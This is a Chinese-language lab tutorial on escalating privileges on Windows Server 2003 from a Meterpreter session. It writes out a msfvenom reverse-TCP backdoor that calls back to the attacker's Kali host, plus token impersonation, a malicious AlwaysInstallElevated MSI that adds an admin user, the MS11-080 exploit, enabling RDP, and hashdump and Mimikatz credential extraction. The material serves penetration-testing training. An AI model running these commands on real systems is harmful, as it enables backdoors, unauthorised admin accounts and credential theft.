原创: 红日安全 雨幕 合天智汇 昨天

引言

Meterpreter提权我们经常会遇到,熟悉它掌握它对渗透测试至关重要。竟然无法逃避就得学会征服它,接下来我会带领征服Meterpreter。

准备实验环境

1. Kali linux (攻击机) 192.168.17.134

2. Window server 2003(靶机)

获取Meterpreter会话

第一步:生成后门程序

msfvenom

作用:生成木马(后门)文件,替代早期版本的msfpayload和msfencoder。

生成命令:

msfvenom-p windows/meterpreter/reverse_tcp lhost=192.168.17.134 lport=4444 -fexe -e x86/shikata_ga_nai -a x86 --platform windows -i 12 -b ‘\x00’-o /var/www/html/yumu.exe

参数解释:

1. -p 指定需要使用的payload(攻击载荷)

2. lhost= 监听ip地址

3. lport= 监听端口

4. -f 指定输出格式

第二步:攻击机开启监听

先写一个rc文件然后使用MSF开启监听,rc文件中命令如下:

useexploit/multi/handler

setpayload windows/meterpreter/reverse_tcp

setlhost 192.168.17.134

setlport 4444

run

Meterpreter提权那些事:Meterpreter提权那些事(1)

第三步:开启apache构建下载条件

命令如下:/etc/init.d/apache2start

Meterpreter提权那些事:Meterpreter提权那些事(2)

第四步:靶机下载后门运行,反弹会话

Meterpreter提权那些事:Meterpreter提权那些事(3)

Meterpreter提权那些事:Meterpreter提权那些事(4)

Meterpreter提权那些事:Meterpreter提权那些事(5)

开始提权

提权过程集合高低权限用户进行讲解,贴近真实环境进行讲解提权思路。

方法1:直接使用getsystem提权

getsystem:是MSF提供给我们的提权命令,也是最常用的提权方式之一。它是有三种技术实现权限提升,默认值为0即尝试所有的技术来提权。如果你需要对Windows7、8或以上的系统进行getsystem首先得绕过UAC。命令如下:runpost/windows/escalate/bypassuac.

命令管道模拟提升攻击(包含两种)

第一种:从Meterpreter创建一个命名管道。它会创建并运行一个服务器程序,运行cmd.exe/ c echo“some data”> \\.\pipe\[random pipe here]。当产生的cmd.exe连接到Meterpreter的命名管道时,Meterpreter有机会模拟其他其他用户去执行某项操作。客户端的扮演是一种命名管道功能。假如是SYSTEM,当你模拟它时,用户就变成了SYSTEM。

第二种:创建一个命名管道并模拟第一个客户端的用户以连接到它。使用SYSTEM用户创建客户端,然后会将DLL放入磁盘并将rundll32.exe作为服务进行安排,以SYSTEM身份运行.DDL连接到命名管道进行提权。

令牌假冒

使用高权限用户的令牌ID去假冒高权限用户,进而获得其对应的权限。

第一步:切换shell,查询用户权限

Netuser dabai(普通用户)

Netuser Administrator(管理员)

Meterpreter提权那些事:Meterpreter提权那些事(6)

Meterpreter提权那些事:Meterpreter提权那些事(7)

第二步:使用getsystem提权

dabai(普通用户提权失败)

Meterpreter提权那些事:Meterpreter提权那些事(8)

Administrator(管理员,提权成功)

Meterpreter提权那些事:Meterpreter提权那些事(9)

从结果分析我们得知普通用户使用该方式提权较难,失败概率很高,相反管理员用户提权非常容易,成功概率很高。

方法2:令牌假冒

假冒同网络下的其他某个用户进行各种操作,例如提升权限、创建用户和组等。

第一步:加载模块 Useincognito

Meterpreter提权那些事:Meterpreter提权那些事(10)

可以使用Help查看令牌假冒相关的命令

Meterpreter提权那些事:Meterpreter提权那些事(11)

第二步:查看可假冒的用户信息 list_tokens–u

Meterpreter提权那些事:Meterpreter提权那些事(12)

Meterpreter提权那些事:Meterpreter提权那些事(13)

Warning:Not currently running as SYSTEM, not all tokens will be available

Callrev2self if primary process token is SYSTEM

由警告信息我们得知无法正常假冒用户,所以令牌假冒失败。假设有用户可以假冒就可以进行第三步操作。

第三步:假冒用户

dabai(普通用户)和提权不成功。

impersonate_token[name of the account to impersonate]

例如:impersonate_token YUMU-061CAD6690\dabai

方法3:AlwaysInstallElevated提权

AlwaysInstallElevated是一个策略设置。微软允许非授权用户以SYSTEM权限运行安装文件(MSI),如果用户启用此策略设置,那么黑客利用恶意的MSI文件就可以进行管理员权限的提升。假设我们拿到目标主机的Meterpreter会话后并没能通过一些常规方式取得SYSTEM权限,那么AlwaysInstallElevated提权可以给我们带来另一条思路。

默认情况下这个AlwaysInstallElevated并没有开启,为了演示需要,我们先进行开启。

运行gpedit.msc命令打开组策略进行设置。

A.组策略-计算机配置—管理模版—Windows组件—WindowsInstaller—永远以高特权进行安装:选择启用。

B.组策略-用户配置—管理模版-Windows组件—WindowsInstaller-永远以高特权进行安装:选择启用。

Meterpreter提权那些事:Meterpreter提权那些事(14)

Meterpreter提权那些事:Meterpreter提权那些事(15)

设置成功后两个注册表的值会被置为1:

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]

"AlwaysInstallElevated"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]

"AlwaysInstallElevated"=dword:00000001

第一步:检测靶机是否开启该漏洞

切换shell界面然后执行以下命令:

regquery HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /vAlwaysInstallElevated

regquery HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /vAlwaysInstallElevated

Meterpreter提权那些事:Meterpreter提权那些事(16)

从上图的结果我们可以确定目标确实存在该漏洞的。

注意:如果这条命令出错类似于:Thesystem was unable to find the specified registry key or value或者:错误:系统找不到指定的注册表项或值。说明目标并没有开启该策略,不存在该漏洞。

第二步:生成带有添加管理员用户的MSI安装文件

添加一个账号为yumu密码为Yumu12345678@@的用户,命令如下:

msfvenom-p windows/adduser USER=msi PASS=P@ssword123! -f msi

-o/var/www/html/test.msi

Meterpreter提权那些事:Meterpreter提权那些事(17)

第三步:先上传到靶机

upload/var/www/html/test.msi E:\\phpStudy\\PHPtutorial\\WWW

Meterpreter提权那些事:Meterpreter提权那些事(18)

注意点:上传的路径对应是“\\”不是”\”,如果使用“\”会出现上传文件名显示出错的问题。如下:

Meterpreter提权那些事:Meterpreter提权那些事(19)

Meterpreter提权那些事:Meterpreter提权那些事(20)

第三步:执行安装

切换shell界面运行以下命令

msiexec/quiet /qn /i E:\phpStudy\PHPTutorial\WWW\test.msi

Meterpreter提权那些事:Meterpreter提权那些事(21)

msiexec相关参数解释如下:

/quiet:安装过程中禁止向用户发送消息

/qn:不使用GUI

/i:安装程序

第四步:检测用户是否成功添加

切换shell界面输入net localgroup administrators 查看管理员组中是否存在该用户。

Meterpreter提权那些事:Meterpreter提权那些事(22)

从结果上来看,成功添加用户。

补充点:如果目标机没有开启远程桌面服务,可以再shell界面下执行以下命令以开启:

wmicRDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections1

方法4:挖掘漏洞进行提权

这里使用低权限的dabai(普通用户)进行演示。

第一步:切换shell界面检测补丁情况

输入命令:

systeminfo>a.txt&(for%i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %iNot Installed!)&del /f /q /a a.txt

Meterpreter提权那些事:Meterpreter提权那些事(23)

Notinstalled表示没有安装对应的补丁,说明该漏洞存在利用的可能。

第二步:确定其漏洞编码号

Meterpreter提权那些事:Meterpreter提权那些事(24)

第三步:选择漏洞进行提权

我们使用搜索引擎通过漏洞编码来获取漏洞的具体信息,然后确定选择那个漏洞进行利用。

Meterpreter提权那些事:Meterpreter提权那些事(25)

Meterpreter提权那些事:Meterpreter提权那些事(26)

最后确定对MS11-080漏洞进行利用。

第四步:上传漏洞EXP

Meterpreter提权那些事:Meterpreter提权那些事(27)

第五步:执行EXP添加管理员用户

执行成功之后会添加管理员用户账号为90sec密码为90sec。

Meterpreter提权那些事:Meterpreter提权那些事(28)

添加用户失败的时候如下图:

Meterpreter提权那些事:Meterpreter提权那些事(29)

添加用户成功的时候如下图:

Meterpreter提权那些事:Meterpreter提权那些事(30)

第六步:验证管理员用户是否成功添加

Meterpreter提权那些事:Meterpreter提权那些事(31)

方法5:获取管理员账号密码

方式1:获取hash值然后解密

第一步:获取hash值

使用命令:hashdump

Meterpreter提权那些事:Meterpreter提权那些事(32)

第二步:在线网站破解hash

网站地址:http://www.objectif-securite.ch/en/ophcrack.php

Meterpreter提权那些事:Meterpreter提权那些事(33)

方式2:Mimikatz获取明文密码

mimikatz是由C语言编写的开源小工具,功能非常强大。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证,以及pass-the-hash、pass-the-ticket、buildGolden tickets等数种黑客技术。(运行Mimikatz最好在system权限下,不然会出错·)

第一步:导入Mimikatz插件

命令如下:loadminikatz

Meterpreter提权那些事:Meterpreter提权那些事(34)

查看帮助信息可以使用help命令。

Meterpreter提权那些事:Meterpreter提权那些事(35)

第二步:获取hash值或者直接获取明文

msv获取hash值,kerberos获取明文。

Meterpreter提权那些事:Meterpreter提权那些事(36)

Meterpreter提权那些事:Meterpreter提权那些事(37)

第三步:在线解密hash值

网站地址:http://www.objectif-securite.ch/en/ophcrack.php

Meterpreter提权那些事:Meterpreter提权那些事(38)

总结

本文讲到了五种方式提权,分别是直接getsystem提权,令牌假冒,AlwaysInstallElevated提权,挖掘漏洞进行提权,获取管理员账号密码。讲解了高低权限用户如何进行提权以及提权的额外注意点,对提权有一个思路上的拓展。

(注:本文属于合天原创投稿奖励,未经允许,禁止转载!)

,